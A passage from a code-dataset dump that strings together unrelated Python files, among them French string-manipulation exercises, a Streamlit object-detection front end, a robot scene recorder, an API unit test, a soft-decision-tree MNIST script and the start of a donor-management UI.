OptionParam('--tblout', name='out', help='save parseable table of hits to file'),\n # set default to 1 instead of all available cores.\n OptionParam('--cpu', name='cpus', value=1, help='number of parallel CPU workers to use for multithreads'),\n ArgmntParam(name='db', help='HMM/CM database file'),\n ArgmntParam(name='query', help='input sequence to scan')]\n","sub_path":"micronota/bfillings/_base.py","file_name":"_base.py","file_ext":"py","file_size_in_byte":789,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"515102385","text":"\n# ____________________________________________________________\n# EXERCICE 1\n# ____________________________________________________________\n\n\ndef demande() -> str:\n \"\"\"\n chaine affichée caractère par caratctère\n \"\"\"\n x = 1\n while x == 1:\n chaine = input('Entrez une chaine de caractère : ')\n if not \"\".join(chaine.split(' ')).isalpha():\n print(\"Ooops ! Ce n'est pas une chaine de caractère !\")\n x = 1\n else:\n x = 0\n for i in chaine:\n print(i)\n\nprint(demande())\n\n\n\n# ____________________________________________________________\n# EXERCICE 2\n# ____________________________________________________________\n\ndef nbr_e() -> int:\n \"\"\"\n Détermine combien il y a de 'e' dans une chaine de caractère saisie par l'utilisateur\n \"\"\"\n x = 1\n while x == 1:\n chaine = input('Entrez une chaine de caractère : ')\n if not \"\".join(chaine.split(' ')).isalpha():\n print(\"Ooops ! Ce n'est pas une chaine de caractère !\")\n x = 1\n else:\n x = 0\n compteur = 0\n for i in chaine:\n if i == 'e' or i == 'é' or i == 'è' or i == 'E' or i == 'É':\n compteur += 1\n\n return compteur\n\nprint(nbr_e())\n\n\n# ____________________________________________________________\n# EXERCICE 3\n# ____________________________________________________________\n\ndef double_vowels() -> str:\n \"\"\"\n Fonction qui double le voyelles d'une chaines de caractère saisie pas l'utilisateur\n avec la boucle while et l'indexiation\n \"\"\"\n x = 1\n while x == 1:\n chaine = input('Entrez une chaine de caractère : ')\n if not \"\".join(chaine.split(' ')).isalpha():\n print(\"Ooops ! Ce n'est pas une chaine de caractère !\")\n x = 1\n else:\n x = 0\n i = 0\n while i str:\n \"\"\"\n Fonction qui double le voyelles d'une chaines de caractère saisie pas l'utilisateur\n avec la méthode .replace\n \"\"\"\n x = 1\n while x == 1:\n chaine = input('Entrez une chaine de caractère : ')\n if not \"\".join(chaine.split(' ')).isalpha():\n print(\"Ooops ! Ce n'est pas une chaine de caractère !\")\n x = 1\n else:\n x = 0\n chaine_1 = chaine.replace('a', 'aa')\n chaine_2 = chaine_1.replace('e', 'ee')\n chaine_3 = chaine_2.replace('i', 'ii')\n chaine_4 = chaine_3.replace('o', 'oo')\n chaine_5 = chaine_4.replace('u', 'uu')\n chaine_6 = chaine_5.replace('y', 'yy')\n return chaine_6\n\nprint(double_vowels_bis())\n\n\n\n# ____________________________________________________________\n# EXERCICE 4\n# ____________________________________________________________\n\ndef reverse() -> str:\n \"\"\"\n Fonction qui inverse les lettres d'un mot saisie par l'utilisateur\n \"\"\"\n x = 1\n while x == 1:\n chaine = input('Entrez une chaine de caractère : ')\n if not \"\".join(chaine.split(' ')).isalpha():\n print(\"Ooops ! Ce n'est pas une chaine de caractère !\")\n x = 1\n else:\n x = 0\n return chaine[::-1]\n\nprint(reverse())\n\ndef zorglangue() -> str:\n \"\"\"\n Fonction qui inverse les lettres d'un mot mais pas de la phrase entière\n \"\"\"\n x = 1\n while x == 1:\n chaine = input('Entrez une chaine de caractère : ')\n if not \"\".join(chaine.split(' ')).isalpha():\n print(\"Ooops ! Ce n'est pas une chaine de caractère !\")\n x = 1\n else:\n x = 0\n chaine_2 = \"\".join(reversed(chaine))\n chaine_3 = chaine_2.split(' ')\n chaine_4 = ' '.join(reversed(chaine_3))\n return chaine_4\n\nprint(zorglangue())\n\n# ____________________________________________________________\n# EXERCICE 5\n# ____________________________________________________________\n\n\ndef palindrome() -> str:\n \"\"\"\n Fonction qui vérifie si un mot est un palindrome ou non\n \"\"\"\n x = 1\n while x == 1:\n chaine = input('Entrez une chaine de caractère : ')\n if not \"\".join(chaine.split(' ')).isalpha():\n print(\"Ooops ! Ce n'est pas une chaine de caractère !\")\n x = 1\n else:\n x = 0\n if chaine.replace(' ', '').lower() == chaine.replace(' ', '').lower()[::-1]:\n return True\n else:\n return False\n\nprint(palindrome())\n\n# ____________________________________________________________\n# EXERCICE 6\n# ____________________________________________________________\n\n# Si s est la chaîne, on la découpe en tranches de longueur 1 avec un slice de la forme\n# s[k*p:(k+1)*p] qu’on place ensuite dans une liste en compréhension dont on rassemble les éléments tout en insérant\n# le séparateur avec la méthode join. D’où le code suivant :\n\ndef asterisque(sep) -> str:\n \"\"\"\n Fonction qui intercalle des asterisque entre les mot\n d'une chaine de caractère saisie par l'utilisateur\n \"\"\"\n x = 1\n while x == 1:\n chaine = input('Entrez une chaine de caractère : ')\n if not \"\".join(chaine.split(' ')).isalpha():\n print(\"Ooops ! Ce n'est pas une chaine de caractère !\")\n x = 1\n else:\n x = 0\n return sep.join([chaine[i*1:(i+1)*1] for i in range(len(chaine)//1)])\n\nprint(asterisque('*'))\n\n\n# ____________________________________________________________\n# EXERCICE 7\n# ____________________________________________________________\n\n\ndef compte_mots_1() -> int:\n \"\"\"\n Fonction qui revoit le nombre de mot d'une phrase\n \"\"\"\n phrase = input('Entrez une chaine de caractère : ')\n return len(phrase.split())\n\nprint(compte_mots_1())\n\ndef compte_mots_2() -> int:\n \"\"\"\n Fonction qui revoit le nombre de mot d'une phrase (bis)\n \"\"\"\n chaine = input('Entrez une chaine de caractère : ')\n charactère_précedent = ' '\n nb_mots = 0\n for char in chaine:\n nb_mots += int(charactère_précedent == ' ' and char != ' ')\n charactère_précedent = char\n return nb_mots\n\nprint(compte_mots_2())","sub_path":"nsi_str.py","file_name":"nsi_str.py","file_ext":"py","file_size_in_byte":6340,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"183185630","text":"import streamlit as st\nimport requests\nimport base64\nimport io\nfrom PIL import Image\nimport glob\nfrom base64 import decodebytes\nfrom io import BytesIO\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nmodel = st.sidebar.selectbox(\"select model\", [\"r-firenetclone--1\"])\naccess_token = st.sidebar.text_input(\"access_token\", \"enter_access_token\")\n\nst.sidebar.write('#### Select an image to upload.')\nuploaded_file = st.sidebar.file_uploader('',\n type=['png', 'jpg', 'jpeg'],\n accept_multiple_files=False)\n\n\n\n## Add in sliders.\nconfidence_threshold = st.sidebar.slider('Confidence threshold: What is the minimum acceptable confidence level for displaying a bounding box?', 0.0, 1.0, 0.5, 0.01)\noverlap_threshold = st.sidebar.slider('Overlap threshold: What is the maximum amount of overlap permitted between visible bounding boxes?', 0.0, 1.0, 0.5, 0.01)\n\n## Title.\nst.write(f'# {model} Object Detection')\n\nimage = Image.open(uploaded_file)\n\n## Subtitle.\nst.write('### Inferenced Image')\n\n# Convert to JPEG Buffer.\nbuffered = io.BytesIO()\nimage.save(buffered, quality=90, format='JPEG')\n\n# Base 64 encode.\nimg_str = base64.b64encode(buffered.getvalue())\nimg_str = img_str.decode('ascii')\n\n## Construct the URL to retrieve image.\nupload_url = ''.join([\n f'https://infer.roboflow.com/{model}',\n f'?access_token={access_token}',\n '&format=image',\n f'&overlap={overlap_threshold * 100}',\n f'&confidence={confidence_threshold * 100}',\n '&stroke=2',\n '&labels=True'\n])\n\n## POST to the API.\nr = requests.post(upload_url,\n data=img_str,\n headers={\n 'Content-Type': 'application/x-www-form-urlencoded'\n})\n\nimage = Image.open(BytesIO(r.content))\n\n# Convert to JPEG Buffer.\nbuffered = io.BytesIO()\nimage.save(buffered, quality=90, format='JPEG')\n\n# Display image.\nst.image(image,\n use_column_width=True)\n\n## Construct the URL to retrieve JSON.\nupload_url = ''.join([\n f'https://infer.roboflow.com/{model}',\n f'?access_token={access_token}'\n])\n\n## POST to the API.\nr = requests.post(upload_url,\n data=img_str,\n headers={\n 'Content-Type': 'application/x-www-form-urlencoded'\n})\n\n## Save the JSON.\noutput_dict = r.json()\n\n## Generate list of confidences.\nconfidences = [box['confidence'] for box in output_dict['predictions']]\n\n## Summary statistics section in main app.\nst.write('### Summary Statistics')\nst.write(f'Number of Bounding Boxes (ignoring overlap thresholds): {len(confidences)}')\nst.write(f'Average Confidence Level of Bounding Boxes: {(np.round(np.mean(confidences),4))}')\n\n## Histogram in main app.\nst.write('### Histogram of Confidence Levels')\nfig, ax = plt.subplots()\nax.hist(confidences, bins=10, range=(0.0,1.0))\nst.pyplot(fig)\n\n## Display the JSON in main app.\nst.write('### JSON Output')\nst.write(r.json())\n","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2903,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"299463771","text":"import time\nimport threading\nimport math\nimport copy\n\nfrom controller.record_visualizer import *\nfrom synthesis.axiom import *\nfrom synthesis.trace_utils import *\n\nclass Recorder:\n\n\tdef __init__(self, input_modalities, design, objects=[], regions=[]):\n\t\tself.curr_recording = None\n\t\tself.input_modality_info = input_modalities\n\t\tself.input_modalities = []\n\t\tfor item in input_modalities:\n\t\t\tself.input_modalities.append(item)\n\n\t\t# set up the ability to visualize a recording on a timeline\n\t\t# on the timeline, each input modality has a horizontal track\n\t\tself.record_visualizer = RecordVisualizer(self.input_modality_info)\n\n\t\t# setup the trace utils class to be shared with all recordings\n\t\tself.axioms = Axioms(self.input_modality_info, design)\n\t\tself.trace_utils = TraceUtils(self.axioms, design, objects, regions)\n\n\tdef initialize_objects_regions(self,objects,regions):\n\t\tself.trace_utils.objects = objects\n\t\tself.trace_utils.regions = regions\n\n\t\tself.trace_utils.trace_utils.objects = objects\n\t\tself.trace_utils.trace_utils.regions = regions\n\n\tdef begin_scene(self):\n\t\tself.curr_recording = Recording(self.input_modality_info, self.trace_utils, granularity=0.1)\n\t\tself.curr_recording.roll()\n\n\tdef record_current_moment_position(self,ident,x,y,theta):\n\t\tself.curr_recording.record_current_moment_position(ident,x,y,theta)\n\n\tdef add_to_current_moment(self,modality,value):\n\t\tself.curr_recording.add_to_current_moment(modality,value)\n\n\tdef add_to_previous_moments(self, modality, value, starttime, endtime):\n\t\tself.curr_recording.add_to_previous_moments(modality, value, starttime, endtime)\n\n\tdef add_to_previous_moment(self, modality, value, timestamp):\n\t\tif self.curr_recording is not None:\n\t\t\tprint(\"adding...\")\n\t\t\tself.curr_recording.add_to_previous_moment(modality,value,timestamp)\n\n\tdef pause_scene(self):\n\t\tself.curr_recording.pause()\n\n\tdef resume_scene(self):\n\t\tself.curr_recording.unpause()\n\n\tdef find_closest_moment(self,x,y,ff):\n\t\treturn self.curr_recording.find_closest_moment(x,y,self.input_modality_info,ff)\n\n\tdef rewind(self, idx):\n\t\tself.curr_recording.rewind(idx)\n\n\tdef fastforward(self, idx):\n\t\tself.curr_recording.fastforward(idx)\n\n\tdef check_if_can_fastforward(self):\n\t\treturn self.curr_recording.check_if_can_fastforward()\n\n\tdef end_scene(self):\n\t\tself.curr_recording.cut()\n\n\t# visualize the current recording on a timeline and save to PDF\n\tdef visualize_current_recording(self, name=\"vis\", recording=None):\n\t\tif recording is None:\n\t\t\tif self.curr_recording is not None:\n\t\t\t\tself.record_visualizer.visualize(self.curr_recording,name=name)\n\t\telse:\n\t\t\tself.record_visualizer.visualize(recording,name=name)\n\n\tdef post_process(self):\n\t\tself.curr_recording.post_process(self.input_modality_info)\n\n\tdef get_moments(self):\n\t\treturn self.curr_recording.moment_history\n\n\tdef get_recording_duration(self):\n\t\tif self.curr_recording is not None:\n\t\t\treturn int(round(self.curr_recording.end_time - self.curr_recording.start_time))\n\t\treturn -1\n\n\tdef print_moments(self):\n\t\tif self.curr_recording is not None:\n\t\t\tself.curr_recording.print_moments()\n\nclass Recording:\n\n\tdef __init__(self, input_modality_info, trace_utils, granularity=0.05):\n\t\tself.log = []\n\t\tself.start_time = -1\n\t\tself.end_time = -1\n\t\tself.input_modality_info = input_modality_info\n\t\tself.input_modalities = list(input_modality_info.keys())\n\t\tself.curr_moment = Moment(self.input_modalities)\n\t\tself.moment_history = []\n\t\tself.unprocessed_moment_history = None\n\t\tself.time2moment = {}\n\t\tself.fast_forwardable_history = []\n\t\tself.granularity = granularity\n\t\tself.rolling = False\n\t\tself.processing = False\n\t\tself.paused = False\n\n\t\tself.trace_utils = trace_utils\n\n\t\t# pausing\n\t\tself.start_pause_time = -1\n\t\tself.accumulated_pause_time = 0.0\n\n\t\t# set up the ability to visualize a recording on a timeline\n\t\t# on the timeline, each input modality has a horizontal track\n\t\tself.record_visualizer = RecordVisualizer(self.input_modality_info)\n\n\tdef record_current_moment_position(self,ident,x,y,theta):\n\t\tif self.paused:\n\t\t\treturn\n\t\tself.curr_moment.update_position(ident,x,y,theta)\n\n\tdef add_to_current_moment(self, modality, value):\n\t\tif self.paused:\n\t\t\treturn\n\t\tself.curr_moment.add_to_track(modality,value)\n\n\tdef add_to_previous_moments(self, modality, value, starttime, endtime):\n\t\tif self.paused:\n\t\t\treturn\n\t\tfor i in range(0,len(self.moment_history)-1):\n\t\t\tmoment = self.moment_history[i]\n\t\t\tnext_moment = self.moment_history[i+1]\n\t\t\tif (moment.clock_time - self.start_time) > starttime and (moment.clock_time - self.start_time) < endtime:\n\t\t\t\tmoment.add_to_track(modality,value)\n\n\t\tif (self.moment_history[-1].clock_time - self.start_time) > starttime and (self.moment_history[-1].clock_time - self.start_time) < endtime:\n\t\t\tself.moment_history[-1].add_to_track(modality,value)\n\n\tdef add_to_previous_moment(self, modality, value, timestamp):\n\t\tif self.paused:\n\t\t\treturn\n\t\tfor i in range(0,len(self.moment_history)-1):\n\t\t\tmoment = self.moment_history[i]\n\t\t\tnext_moment = self.moment_history[i+1]\n\t\t\tif moment.clock_time <= timestamp and next_moment.clock_time > timestamp:\n\t\t\t\tmoment.add_to_track(modality,value)\n\n\tdef check_if_can_fastforward(self):\n\t\treturn len(self.fast_forwardable_history) > 0\n\n\tdef roll(self):\n\t\tself.rolling = True\n\t\tself.start_time = time.time()\n\t\tself.curr_moment.set_start_time(self.start_time)\n\t\tthread = threading.Thread(target=self.run_clock, args=())\n\t\tthread.daemon = True\n\t\tthread.start()\n\n\tdef pause(self):\n\t\tself.paused = True\n\t\tself.start_pause_time = time.time()\n\n\tdef unpause(self):\n\t\tself.paused = False\n\t\tself.accumulated_pause_time += (time.time() - self.start_pause_time)\n\n\n\tdef rewind(self,idx):\n\t\tprint(\"rewinding\")\n\n\t\t# store the rewound history\n\t\tfor i in range(idx,len(self.moment_history)):\n\t\t\tself.fast_forwardable_history.append(self.moment_history[i])\n\n\t\t# delete the rewound history\n\t\ti = len(self.moment_history) - 1\n\t\twhile i >= idx:\n\t\t\tdel self.moment_history[i]\n\t\t\ti -= 1\n\t\tprint(self.moment_history)\n\n\tdef fastforward(self,idx):\n\t\tprint(\"fastforwarding\")\n\n\t\t# append and delete the fastforwardable history up to the point of idx\n\t\ti = 0\n\t\twhile i <= idx:\n\t\t\tself.moment_history.append(self.fast_forwardable_history[0])\n\t\t\tdel self.fast_forwardable_history[0]\n\t\t\ti += 1\n\n\tdef find_closest_moment(self,x,y,input_modality_info,ff):\n\t\tif ff:\n\t\t\tprocessed_moments = self.trace_utils.post_process_stream(self.fast_forwardable_history, input_modality_info)\n\t\telse:\n\t\t\tprocessed_moments = self.trace_utils.post_process_stream(self.moment_history, input_modality_info)\n\t\tclosest_moment = processed_moments[0]\n\t\tclosest_moment_idx = 0\n\t\tclosest_distance = closest_moment.get_distance_from(x,y)\n\t\tfor i in range(len(processed_moments)):\n\t\t\tmoment = processed_moments[i]\n\t\t\tdistance = moment.get_distance_from(x,y)\n\t\t\tif distance < closest_distance:\n\t\t\t\tclosest_distance = distance\n\t\t\t\tclosest_moment = moment\n\t\t\t\tclosest_moment_idx = i\n\n\t\tprint(\"closest moment: {} ({})\".format(closest_moment,closest_moment_idx))\n\t\treturn closest_moment,closest_moment_idx\n\n\tdef cut(self):\n\t\tself.processing = True\n\t\tself.rolling = False\n\n\t\t# wait for the thread to finish\n\t\twhile self.processing:\n\t\t\ttime.sleep(0.1)\n\n\tdef post_process(self, input_modality_info):\n\t\tself.unprocessed_moment_history = copy.deepcopy(self.moment_history)\n\t\tself.trace_utils.post_process_stream(self.moment_history, input_modality_info)\n\n\t\tfor moment in self.moment_history:\n\t\t\tself.time2moment[moment.start_time] = moment\n\n\tdef standardize_saved_recording(self,input_modality_info,trace_utils):\n\t\tself.input_modality_info = input_modality_info\n\t\tself.input_modalities = list(input_modality_info.keys())\n\t\tself.trace_utils = trace_utils\n\t\tprint(\"\")\n\t\tprint(self.trace_utils.axioms.modalities)\n\t\tself.moment_history = self.unprocessed_moment_history\n\t\tself.unprocessed_moment_history = None\n\t\tself.time2moment = {}\n\n\tdef run_clock(self):\n\t\t\n\t\twhile self.rolling:\n\t\t\tif self.paused:\n\t\t\t\tcontinue\n\t\t\ttime.sleep(self.granularity)\n\t\t\tself.moment_history.append(self.curr_moment)\n\t\t\tself.curr_moment = Moment(self.input_modalities)\n\t\t\tclock_time = time.time()\n\t\t\tself.curr_moment.set_start_time(clock_time - self.accumulated_pause_time)\n\t\t\tself.curr_moment.set_clock_time(clock_time)\n\n\t\tself.end_time = time.time()\n\t\tself.processing = False\n\n\tdef print_moments(self):\n\t\tfor moment in self.moment_history:\n\t\t\tprint(\"start: {} position: {}, movement: {}\".format(moment.start_time,moment.tracks[\"position\"], moment.tracks[\"movement\"]))\n\nclass Moment:\n\n\tdef __init__(self, input_modalities):\n\t\tself.tracks = {}\n\t\tfor inp in input_modalities:\n\t\t\tself.tracks[inp] = None\n\t\tself.start_time = -1\n\t\tself.clock_time = -1\n\t\tself.x = -1\n\t\tself.y = -1\n\t\tself.theta = 90\n\t\tself.human_coords = {}\n\n\t\t# the description can be used for moments that see a significant change in events\n\t\tself.description = {\"r\":\"\",\"h1\":\"\"}\n\n\tdef update_position(self,ident,x,y,theta):\n\t\tif ident == \"r\":\n\t\t\tself.x = x\n\t\t\tself.y = y\n\t\t\tself.theta = theta\n\t\telse:\n\t\t\tself.human_coords[ident] = (x,y)\n\n\tdef add_to_track(self, track, val):\n\t\tself.tracks[track] = val\n\n\tdef set_start_time(self, time):\n\t\tself.start_time = time\n\n\tdef set_clock_time(self, time):\n\t\tself.clock_time = time\n\n\tdef get_distance_from(self,x,y):\n\t\treturn math.sqrt(float(x-self.x)**2 + float(y-self.y)**2)\n\n\tdef __str__(self):\n\t\treturn self.description[\"r\"]","sub_path":"ctrl/ctrl/controller/recorder.py","file_name":"recorder.py","file_ext":"py","file_size_in_byte":9272,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"156497892","text":"#!/usr/bin/env python\n# encoding: utf-8\n\nimport uuid\nimport json\n\nimport pendulum\nfrom pony import orm\n\nfrom test import base_test_case\nfrom models import proto, Account, User, Correct, Diary\nfrom utils.hash_password import hash_password\nfrom utils import const\n\n\nclass GetByDiaryIdTestCase(base_test_case.BaseTestCase):\n\n @classmethod\n def setUpClass(cls):\n with orm.db_session:\n account = Account(\n email=\"get_correct_by_diary_and_user@gmail.com\",\n password=hash_password(\"123456\")\n )\n user = User(\n avatar=\"http://avatar.com/2\",\n nickname=\"littlekey\",\n native_languages=[2],\n target_languages=[1],\n account=account\n )\n account.user = user\n diary = Diary(\n title=\"diary title\",\n language=1,\n author=user,\n content=\"diary content. hello.\",\n date=int(pendulum.utcnow().subtract(months=1).float_timestamp * 1000),\n type=const.ARTICLE_TYPE.DIARY,\n diary_date=int(pendulum.utcnow().subtract(years=20).float_timestamp * 1000)\n )\n Correct(\n author=user,\n content=json.dumps([\"first correct content\", \"hello\"]),\n date=int(pendulum.utcnow().subtract(days=20).float_timestamp * 1000),\n type=const.ARTICLE_TYPE.CORRECT,\n last_edit_date=int(pendulum.utcnow().subtract(days=15).float_timestamp * 1000),\n diary=diary\n )\n orm.commit()\n setattr(cls, \"diary_identity\", diary.identity.hex)\n\n def setUp(self):\n super(GetByDiaryIdTestCase, self).setUp()\n login_req = proto.LoginRequest()\n login_req.email = \"get_correct_by_diary_and_user@gmail.com\"\n login_req.password.ParseFromString(hash_password(\"123456\"))\n login_result = self.simulate_post(\n \"/account/login\",\n body=self.make_rpc_request(login_req.SerializeToString()))\n setattr(self, const.KEY_AUTHORIZATION,\n login_result.cookies[const.KEY_AUTHORIZATION].value)\n\n def test_post_get_correct_by_diary_and_user(self):\n get_correct_by_diary_and_user_req = proto.GetCorrectByDiaryIdRequest()\n get_correct_by_diary_and_user_req.diary_id = getattr(self, 'diary_identity')\n result = self.simulate_post(\n \"/correct/get_by_diary_and_user\",\n headers={const.KEY_AUTHORIZATION:\n getattr(self, const.KEY_AUTHORIZATION)},\n body=self.make_rpc_request(get_correct_by_diary_and_user_req.SerializeToString()))\n rpc_resp = proto.RPCResponse()\n rpc_resp.ParseFromString(result.content)\n get_correct_by_diary_and_user_resp = proto.GetCorrectByDiaryIdResponse()\n get_correct_by_diary_and_user_resp.ParseFromString(rpc_resp.content)\n\n self.assertTrue(get_correct_by_diary_and_user_resp.success)\n self.assertEqual(get_correct_by_diary_and_user_resp.correct.content,\n [\"first correct content\", \"hello\"])\n","sub_path":"test/test_get_correct_by_diary_and_user.py","file_name":"test_get_correct_by_diary_and_user.py","file_ext":"py","file_size_in_byte":3176,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"234475437","text":"from __future__ import print_function\nfrom Layers.model import SoftDecisionTree\nimport tensorflow as tf\nimport numpy as np\nfrom sklearn.metrics import accuracy_score\nimport sys,random,os\nfrom edt import *\nfrom mnist import *\nimport matplotlib.pyplot as plt\nfrom matplotlib import cm as CM\nfrom matplotlib import axes \nusedata=True\nLambda=0#mixture rate\nif usedata:\n imgs=convertbin(loadImageSet()).reshape(-1,28*28)\n labels=toonehot(loadLabelSet())\n softtargets=np.loadtxt('cnnprob.txt',delimiter=',').reshape(-1,10)\n imgstest=convertbin(loadImageSet(1)).reshape(-1,28*28)\n labelstest=toonehot(loadLabelSet(1))\n batchcountt=0\n batchcountv=0\n trainsize=len(imgs)\n valsize=len(imgstest)\n seqt=range(trainsize)\n seqv=range(valsize)\n random.shuffle(seqt)\n random.shuffle(seqv)\ndef next_batch(torv,batch_size):\n global batchcountt\n global batchcountv\n if torv:\n if batch_size+batchcountt>=trainsize:\n batchcountt=0\n random.shuffle(seqt)\t\t\n nums=seqt[batchcountt:batchcountt+batch_size]\n batchcountt+=batch_size\n return imgs[nums],labels[nums],softtargets[nums]\n else:\n if batch_size+batchcountv>=valsize:\n batchcountv=0\n random.shuffle(seqv)\n nums=seqv[batchcountv:batchcountv+batch_size]\n batchcountv+=batch_size\n return imgstest[nums],labelstest[nums]\t\n \ndef val():\n \n softtargets_test=np.loadtxt('cnnprob_test.txt',delimiter=',').reshape(-1,10)\n n_features = 784\n n_classes = 10\n batch_size = 32\n val_batch_size = 256\n\n tree = SoftDecisionTree(max_depth=6,n_features=n_features,n_classes=n_classes,max_leafs=None)\n tree.build_tree()\n\n # optimizer\n optimizer = tf.train.AdamOptimizer(learning_rate=0.0002,beta1=0.9,beta2=0.999,epsilon=1e-08).minimize(tree.loss)\n\n # Initialize the variables (i.e. assign their default value)\n init = tf.global_variables_initializer()\n\n #EPOCHS = 10000\n EPOCHS=1000\n TOTAL_BATCH = 16\n display_step = 100\n with tf.Session() as sess:\n sess.run(init)\n checkpoint=tf.train.latest_checkpoint('ckpt/')\n if checkpoint:\n saver=tf.train.Saver()\n saver.restore(sess,checkpoint)\n else:\n saver=tf.train.Saver(max_to_keep=1)\n if not os.path.exists('./ckpt'):\n os.mkdir('./ckpt')\n print('net work ready')\n count=0\n acc=0\n fid=0\n while count+100<=valsize:\n batch_val_xs=imgstest[count:count+100]\n batch_val_ys=labelstest[count:count+100]\n cnn_preds=np.argmax(softtargets_test[count:count+100],axis=1)\n val_target = np.argmax(batch_val_ys, axis=1)\n val_preds = tree.predict(X=batch_val_xs,y=batch_val_ys,sess=sess)\n val_acc = accuracy_score(y_pred=val_preds, y_true=val_target)\n val_fid=accuracy_score(y_pred=val_preds, y_true=cnn_preds)\n count+=100\n acc+=val_acc\n fid+=val_fid\n print(accuracy_score(y_pred=cnn_preds, y_true=val_target))\n print('step:'+str(count)+' acc:'+str(val_acc))\n print('total acc:'+str(acc/100)+' fidelity:'+str(fid/100))\n\ndef cnnprob_pre():\n mncnn=mnist()\n for i in range(600):\n prob=mncnn.predict_prob(imgs[i*100:(i+1)*100]).reshape(100,10)\n print(accuracy_score(y_pred=np.argmax(prob,axis=1), y_true=np.argmax(labels[i*100:(i+1)*100],axis=1)))\n if i==0:\n s=prob\n else:\n s=np.append(s,prob)\n s=s.reshape(60000,10)\n np.savetxt('cnnprob.txt',s,fmt='%f',delimiter=',')\n for i in range(100):\n prob=mncnn.predict_prob(imgstest[i*100:(i+1)*100]).reshape(100,10)\n print(accuracy_score(y_pred=np.argmax(prob,axis=1), y_true=np.argmax(labelstest[i*100:(i+1)*100],axis=1)))\n if i==0:\n s=prob\n else:\n s=np.append(s,prob)\n s=s.reshape(10000,10)\n np.savetxt('cnnprob_test.txt',s,fmt='%f',delimiter=',')\nif __name__ == '__main__':\n #mncnn=mnist(sess)\n #val()\n #cnnprob_pre()\n #sys.exit(0)\n n_features = 784\n n_classes = 10\n batch_size = 32\n val_batch_size = 256\n iftrain=True\n\n tree = SoftDecisionTree(max_depth=6,n_features=n_features,n_classes=n_classes,max_leafs=None)\n tree.build_tree()\n\n # optimizer\n optimizer = tf.train.AdamOptimizer(learning_rate=0.001,beta1=0.9,beta2=0.999,epsilon=1e-08).minimize(tree.loss)\n\n # Initialize the variables (i.e. assign their default value)\n init = tf.global_variables_initializer()\n\n EPOCHS = 10000\n TOTAL_BATCH = 16\n display_step = 100\n with tf.Session() as sess:\n sess.run(init)\n checkpoint=tf.train.latest_checkpoint('ckpt/')\n if checkpoint:\n saver=tf.train.Saver()\n saver.restore(sess,checkpoint)\n else:\n saver=tf.train.Saver(max_to_keep=1)\n if not os.path.exists('./ckpt'):\n os.mkdir('./ckpt')\n print ('net work ready')\n if not iftrain:#get variables\n '''\n root=tree.root.rightChild.leftChild.leftChild\n w,b=sess.run([root.W,root.b],feed_dict={})\n w=w.reshape(-1)\n plt.figure()\n nw=sorted(w)\n plt.plot(range(len(nw)),nw)\n plt.show()\n wb=w.copy()\n wb[wb<1]=0\n ws=w.copy()*-1\n ws[ws<1]=0\n fig = plt.figure(figsize=(10,10),facecolor='w')\n cmap = CM.get_cmap('spectral', 100)\n showdata=[wb,ws]\n for i in range(1,3):\n ax = fig.add_subplot(1,2,i)\n p=showdata[i-1].reshape(28,28)\n map1 = ax.imshow(p, interpolation=\"nearest\", cmap=cmap,aspect='auto', vmin=0,vmax=3)\n plt.show()\n '''\n\n root=tree.root\n features=np.zeros((10,28*28))\n count=0\n ws={}\n ####\n thresholdnum=100\n ####\n for node in tree.nodes:\n w=sess.run([node.W],feed_dict={})\n w=np.array(w)\n if node.isLeaf:\n ws[node.id]=w.reshape(10,-1)\n else:\n ws[node.id]=w.reshape(-1)\n \n while count+100threshold]=1\n features[preds[i]]+=tmp\n\n for j in range(6):\n father=node.father\n isLeft=(father.leftChild==node)\n node=father\n w=ws[node.id]\n tmp=w*batch[i]\n if not isLeft:\n tmp=tmp*-1\n threshold=sorted(tmp)[-thresholdnum]\n if threshold<0:\n threshold=0\n tmp[tmp<=threshold]=0\n tmp[tmp>threshold]=1\n features[preds[i]]+=tmp\n \n \n print(count)\n count+=100\n np.savetxt(\"features.txt\", features, fmt=\"%d\", delimiter=\",\")\n sys.exit(0)\n\n for epoch in range(EPOCHS):\n\n avg_cost = 0.\n # Loop over all batches\n acc =0.0\n val_acc = 0.0\n for i in range(TOTAL_BATCH):\n batch_xs, batch_ys, batch_ss= next_batch(True,batch_size)\n c = tree.boost(X=batch_xs,y=batch_ys,s=batch_ss,optimizer=optimizer,sess=sess)\n\n target = np.argmax(batch_ys,axis=1)\n preds = tree.predict(X=batch_xs,y=batch_ys,sess=sess)\n acc += accuracy_score(y_pred=preds,y_true=target)/TOTAL_BATCH\n\n # Compute average loss\n\n avg_cost+= acc/TOTAL_BATCH\n # Display logs per epoch step\n if (epoch + 1) % display_step == 0:\n batch_val_xs, batch_val_ys = next_batch(False,val_batch_size)\n val_target = np.argmax(batch_val_ys, axis=1)\n val_preds = tree.predict(X=batch_val_xs,y=batch_val_ys,sess=sess)\n \n '''\n logits1,logits2=sess.run([tree.nodes[-1].softmax,tree.nodes[-2].softmax],feed_dict={tree.tf_X:batch_val_xs})\n print(logits1)\n print(logits2)\n '''\n \n val_acc = accuracy_score(y_pred=val_preds, y_true=val_target)\n print(\"Epoch:\", '%04d' % (epoch + 1), \"cost=\",\n \"{:.9f}\".format(avg_cost),\"training_accuracy=\",\"{:.4f}\".format(acc),\n \"validation_accuracy=\",\"{:.4f}\".format(val_acc) )\n #print(collections.Counter(np.argmax(path_probs,axis=1)))\n\n #print(confusion_matrix(y_true=val_target,y_pred=val_preds) )\n saver.save(sess,'ckpt/mnist.ckpt')\n","sub_path":"soft decison tree/mnist_example.py","file_name":"mnist_example.py","file_ext":"py","file_size_in_byte":9535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"500501717","text":"#!/usr/bin/env python3\n\nimport mailroom\nimport os\n\nclass DonorUI():\n\n def __init__(self, coll):\n self.feedback = self.get_resp\n if isinstance(coll, mailroom.DonorCollection):\n self.collection = coll\n else:\n raise TypeError(\"Must initialize with a DonorCollection object.\")\n\n def manage_donors(self):\n \"\"\"\n Display the menu of choices for donor management.\n\n :return: None.\n 